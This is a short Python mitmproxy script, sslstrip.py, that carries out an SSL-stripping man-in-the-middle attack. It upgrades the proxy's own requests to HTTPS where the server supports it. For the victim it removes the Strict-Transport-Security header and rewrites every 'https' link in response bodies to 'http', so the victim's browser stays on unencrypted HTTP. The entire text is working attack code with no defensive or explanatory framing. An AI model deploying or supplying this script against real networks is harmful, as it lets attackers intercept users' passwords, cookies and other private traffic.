sslstrip.py

import socket
from libmproxy.script import concurrent
from libmproxy.protocol.http import decoded

cache = dict()
def has_ssl(host):
    if not host in cache:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((host, 443))
            cache[host] = True
        except socket.error:
            cache[host] = False
        finally:
            s.close()
    print "ssl for {}: {}".format(host, cache[host])
    return cache[host]


@concurrent
def request(context, flow):
    if has_ssl(flow.request.host) and flow.request.scheme == "http":
        print "rewriting"
        flow.request.scheme = "https"
        flow.request.port = 443


def response(context, flow):
    del flow.response.headers["Strict-Transport-Security"]
    with decoded(flow.response):
        flow.response.content = flow.response.content.replace("https", "http")